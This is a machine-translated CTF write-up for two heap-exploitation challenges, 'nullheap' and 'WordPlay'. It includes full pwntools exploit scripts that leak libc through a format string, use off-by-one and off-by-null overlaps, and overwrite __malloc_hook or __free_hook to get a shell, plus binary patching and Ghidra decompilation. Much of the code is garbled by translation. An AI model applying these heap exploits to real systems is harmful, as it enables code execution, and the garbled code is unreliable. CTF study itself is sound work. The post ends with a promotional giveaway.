nullheap



Program analysis

Add()



Delete

It’s a normal delete

Train of thought

If offset by one is overrun, change the chunksize to 0x90 and release it. If the chunksize is set to 2.23, then it will trigger a forward merge and cause an error. If it is 2.27, it will go straight to tcache with no error

Libc2.23-ub1.3 libc2.23-ub1.3

Let the cat out of the address



The format string discloses the address

Any written

UB blocks merge to FastBin, use 0x7F to forge size, and then realloc stack, OGG

EXP

#! /usr/bin/python # coding=utf-8 import sys from pwn import * from random import randint context.log_level = 'debug' context(arch='amd64', os='linux') elf = ELF('./pwn') libc=ELF('./libc.so.6') def Log(name): log.success(name+' = '+hex(eval(name))) if(len(sys.argv)==1): #local sh = process('./ PWN ') print(sh. Pid) raw_input() + #proc_base = sh.libs()[' /home/Parallels/PWN '] else: #remtoe sh = Remote ('114.215.144.240', 11342) def Num(n): sendline(STR (n)) def Cmd(n): sh.recvuntil('Your choice :') sh.send(str(n).ljust(4, '\x00')) def Add(idx, size, cont): Cmd(1) sh.recvuntil('Where? ') sh.send(str(idx).ljust(0x30, '\x00')) sh.recvuntil('Big or small?? ') sh.send(str(size).ljust(0x8, '\x00')) sh.recvuntil('Content:') sh.send(cont) def Free(idx): Cmd(2) sh.recvuntil('Index:') sh.send(str(idx).ljust(6, '\x00')) Add(0, 0x20, '%15$p') sh.recvuntil('Your input:') libc.address = int(sh.recv(14), 16)-0x20840 Log('libc.address') Add(0, 0x90, 'A'*0x90) Add(1, 0x60, 'B'*0x60) Add(2, 0x28, 'C'*0x28) Add(3, 0xf0, 'D'*0xF0) Add(4, 0x38, '/bin/sh\x00') Free(0) #UB<=>A Free(2) #Fastbin->C Add(2, 0x28, 'C'*0x20+flat(0x140)+'\x00') Free(3) #UB<=>(A, B, C, D) #Fastbin Attack Free(1) exp = 'A'*0x90 exp+= flat(0, 0x71) exp+= flat(libc.symbols['__malloc_hook']-0x23) Add(6, len(exp), exp) #Fastbin->B->Hook Add(7, 0x60, 'B'*0x60) exp = '\x00'*(0x13-0x8) exp+= p64(libc.address+0x4527a) exp+= p64(libc.symbols['realloc']) Add(8, 0x60, exp) Cmd(1) sh.recvuntil('Where? ') sh.send(str(9).ljust(0x30, '\x00')) sh.recvuntil('Big or small?? Ljust (0x8, '\x00')) sh.interactive()+ ptrarray: telescope 0x2020A0+0x0000555555554000 16 printf: break *(0xE7C+0x0000555555554000) 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''

conclusion

Pay attention to the combination of multiple vulnerabilities. You didn’t notice the formatting string vulnerability at the beginning, and you took a long detour


The prev_size and the size of the previous chunk are not checked, so it is possible to bypass UB 0x7F by forging the size of the chunk that is already in the Bin and hit malloc_hook. Finally, realloc_hook is used to adjust the stack frame to meet the OGG condition

WordPlay

The reverse

There is a problem with sub_9BA(). F5 cannot be used

The root of all evil is that there is too much stack space allocated to the SUB RSP, which is not actually used



Try the direct patche program

[addr] >>> HEX(asm('mov [rbp-0x3d2c88], rdi')) 0x48 0x89 0xbd 0x78 0xd3 0xc2 0xff >>> HEX(asm('mov [rbp-0x000c88], Rdi ')) 0x48 0x89 0xbd 0x78 0xf3 0xff 0xff LEA command >>> HEX(ASM (' LEA RAX, ')) [rbp-0x3D2850]')) 0x48 0x8d 0x85 0xb0 0xd7 0xc2 0xff >>> HEX(asm('lea rax, [rbp-0x000850]')) 0x48 0x8D 0x85 0xb0 0xf7 0xff 0xff sub instruction >>> HEX(asm('sub RSP, ') 0x3d2c90')) 0x48 0x81 0xec 0x90 0x2c 0x3d 0x0 >>> HEX(asm('sub rsp, 0xc90')) 0x48 0x81 0xEC 0x90 0xC 0x0 0x0 memset >>> HEX(asm('mov edx, ')) 0x3d2844')) 0xba 0x44 0x28 0x3d 0x0 >>> HEX(asm('mov edx, 0x000844')) 0xba 0x44 0x8 0x0 0x0 >>> HEX(asm('sub rax, 0x3d2850')) 0x48 0x2d 0x50 0x28 0x3d 0x0 >>> HEX(asm('sub rax, 0x000850')) 0x48 0x2d 0x50 0x8 0x0 0x0 ``` 0xd3 0xc2 => 0xF3 0xFF from ida_bytes import get_bytes, patch_bytes import re addr = 0x9C5 end = 0xD25 buf = get_bytes(addr, end-addr) ''' pattern = r"\xd3\xc2" patch = '\xF3\xff' buf = re.sub(pattern, patch, buf) ''' pattern = r"\xd7\xc2" patch = '\xF7\xff' buf = re.sub(pattern, patch, buf) patch_bytes(addr, buf) print("Done")



If not successful, directly reverse GIHRA

char * FUN_001009ba(char *param_1,int param_2) { uint uVar1; long lVar2; long in_FS_OFFSET; char *pcVar3; int iVar4; int iVar5; int iVar6; int iVar7; lVar2 = *(long *)(in_FS_OFFSET + 0x28); If (1 < param_2) {memset (& stack0xffffffffffc2d3a8, 0, 0 x400); iVar4 = 0; while (iVar4 < param_2) { uVar1 = (int)param_1[iVar4] & 0xff; *(int *)(&stack0xffffffffffc2d3a8 + (ulong)uVar1 * 4) = *(int *)(&stack0xffffffffffc2d3a8 + (ulong)uVar1 * 4) + 1; if (0xe < *(int *)(&stack0xffffffffffc2d3a8 + (ulong)uVar1 * 4)) { param_1 = s_ERROR_00302010; goto LAB_00100d10; } iVar4 = iVar4 + 1; } memset (& stack0xffffffffffc2d7a8, 0, 0 x3d2844); iVar4 = 1; while (iVar4 < param_2) { *(undefined4 *)(&stack0xffffffffffc2d7a8 + (long)iVar4 * 0xfa8) = 1; *(undefined4 *)(&stack0xffffffffffc2d7a8 + ((long)(iVar4 + -1) + (long)iVar4 * 0x3e9) * 4) = 1 ; iVar4 = iVar4 + 1; } iVar5 = 0; iVar6 = 0; iVar4 = 2; while (iVar4 <= param_2) { iVar7 = 0; while (iVar7 < (param_2 - iVar4) + 1) { if (((param_1[iVar7] == param_1[iVar7 + iVar4 + -1]) && (*(int *)(&stack0xffffffffffc2d7a8 + ((long)(iVar7 + iVar4 + -2) + (long)(iVar7 + 1) * 0x3e9) * 4) ! = 0)) && (*(undefined4 *) (&stack0xffffffffffc2d7a8 + ((long)(iVar7 + iVar4 + -1) + (long)iVar7 * 0x3e9) * 4) = 1 , iVar6 < iVar4 + -1)) { iVar6 = iVar4 + -1; iVar5 = iVar7; } iVar7 = iVar7 + 1; } iVar4 = iVar4 + 1; } pcVar3 = param_1; param_1 = (char *)malloc((long)param_2); iVar4 = 0; while (iVar4 <= iVar6) { param_1[iVar4] = pcVar3[iVar5]; iVar4 = iVar4 + 1; iVar5 = iVar5 + 1; } param_1[iVar4] = '\0'; } LAB_00100d10: if (lVar2 == *(long *)(in_FS_OFFSET + 0x28)) { return param_1; } /* Warning: Subroutine does not return */ __stack_chk_fail(); }

Beautifies the

char *PalyFunc(char *input, int len) { uint ch; long canary; long in_FS_OFFSET; char *_input; int i; int start; int end; int iVar7; canary = *(long *)(in_FS_OFFSET + 0x28); If (1 < len) {int char_cnt[0x100]; memset(char_cnt, 0, 0x400); int i = 0; while (i < len) { ch = (int)input[i]; char_cnt[ch]++; If (0xe < char_cnt[ch]) {input = "ERROR"; goto ret; } i++; } int buf2[1000][0x3ea]; memset(&buf2, 0, 0x3d2844); int j = 1; while (j < len) { buf2[j][0] = 1; buf2[j][-1] = 1; j++; } start = 0; end = 0; int k = 2; while (k <= len) { int m = 0; while (m < (len - k) + 1) { if ((input[m] == input[m + k + -1]) && (buf2[m + 1][k - 2 - 1] ! = 0) && (buf2[m][k - 1] = 1, end < k - 1)) { end = k - 1; //max(end) = max(k) -1 = len -1 start = m; } m = m + 1; } k++; } _input = input; input = (char *)malloc((long)len); i = 0; while (i <= end) { input[i] = _input[start]; i++; start = start + 1; } input[i] = '\0'; //i=end+1 } ret: if (canary == *(long *)(in_FS_OFFSET + 0x28)) { return input; } __stack_chk_fail(); }

The 49 line cycle feels strange, PY simulation to find a pattern

Print ("k=%d"%(k)) while(m<(len-k)+1): print("k=%d"%(k)) while(m<(len-k)+1): print("k=%d"%(k)) print("\tinput[%d]==input[%d]"%(m, m+k-1)) m+=1 print(' ') k+=1



Found to be a duplicate string related

vulnerability

Final input[I] = '\0'; I =end+1 end=k-1, so Max (end) = Max (k)-1 k Max = len

Then it is a long way to construct. Because the algorithm cannot be directly inverse, we can only fuzz by feeling. When we find the palindrome string through the final test, we can let k=len



Train of thought

So this is not a Play. Play is an offset by null

Offset by null under 2.27

Conventional technique: step off the P sign, construct the partition block to merge, and then contact TCache

The size cannot be forged when Play steps on the P flag.

You can create a “prev_size” file with P=0. You can create a “prev_size” file with P=0. You can create a “free” file with P=0

EXP

#! /usr/bin/python # coding=utf-8 import sys from pwn import * from random import randint context.log_level = 'debug' context(arch='amd64', os='linux') elf = ELF('./pwn') libc=ELF('./libc.so.6') def Log(name): log.success(name+' = '+hex(eval(name))) if(len(sys.argv)==1): #local sh = process('./pwn') #proc_base = sh.libs()['/home/parallels/pwn'] else: #remtoe sh = Remote ('114.215.144.240', 41699) def Num(n): sendline(STR (n)) def Cmd(n): sh.recvuntil('>>> ') Num(n) def Add(size, cont): Cmd(1) sh.recvuntil('Input len:\n') Num(size) sh.recvuntil('Input content:\n') sh.send(cont) def Delete(idx): Cmd(2) sh.recvuntil('Input idx:\n') Num(idx) def Play(idx): Cmd(3) sh.recvuntil('Input idx:\n') Num(idx) #chunk arrange for i in range(9): Add(0xF0, STR (I)*0xF0) Add(0x20, 'A'*0x20) Add(0x18, 'ABCCBA'*0x4) Add(0x18, 'C'*0x18) Add(0xF0, 'D'*0xF0)+QQ Add(0x20, 'gap') #leak libc Add(0x20, 'gap') #leak libc Add(0x20, 'gap') #leak libc Add(0x20, 'gap') #leak libc Add(0x20, 'gap') #leak libc Add(0x20, 'gap') #leak libc addr for I in range(9): Add(0xF0, 'A'*0xF0) Add(0xF0, 'A'*8) #get chunk C7 Play(7) sh.recvuntil('Chal:\n') sh.recvuntil('A'*8) libc.address = u64(sh.recv(6).ljust(8, '\x00'))-0x3ebe90 Log('libc.address') #offset by null for i in range(8): #UB<=>(C7, C8) Delete(i) Delete(11) Play(10) #forge fake size Delete(10) Add(0x18, flat(0, 0, 0x270)) Delete(12) #UB<=>(C7, C8, ... , A, B, C, D) #tcache attack Delete(9) exp = '\x00'*0x1F0 exp+= flat(0, 0x31) exp+= p64(libc.symbols['__free_hook']-0x8) #ChunkA's fd Add(len(exp), exp) #Tcache[0x30]->Chunk A->hook Add(0x20, '\x00'*0x20) exp = '/bin/sh\x00' exp+= p64(libc.symbols['system']) Add(0x20, exp) #getshell Delete(3) #gdb.attach(sh, ''' #telescope (0x202100+0x0000555555554000) 16 #heap bins #''') sh.interactive() ''' ResArr: telescope (0x202040+0x0000555555554000) PtrArr: telescope (0x202100+0x0000555555554000) flag{w0rd_Pl4y_13_vu1ner4bl3} '''

​​​

See the big guy here, move rich little hand thumb up + reply + collection, can [attention] a wave would be better

I am a Penetration Test Engineer and in order to thank the readers, I would like to contribute some of my collection of CTF Flag Dryup to you and give something back to every reader. I hope I can help you.

Dry goods mainly include:

①1000+CTF previous questions database (mainstream and classic should be available)

②CTF technical documents (most complete Chinese version)

③ project source code (40 or 50 interesting and classic hands-on project and source code)

④ CTF competition, Web security, penetration test video (suitable for Xiaobai learning)

⑤ Learning Roadmap of Network Security (bid farewell to the learning of the poor)

⑥ CTF/ penetration test tool image file Daquan

⑦ 2021 cryptography/cryptology /PWN technical manual

You can follow + comment and click below to get all the information for free

→ [data acquisition] ←

conclusion

The core of this problem is in the reverse process, which is more inclined to the real environment. We can’t and don’t need to understand every instruction. We can just figure out what operation will lead to what effect

In this case, the playFunc () function only needs to focus on the PWN correlation, and the algorithm correlation can be put on hold

I’m just going to focus on how do I delimit the write after malloc and I’m going to focus on how do I loop through to get the value that I want

Finally, it’s a matter of feelingfuzzA special example of the structure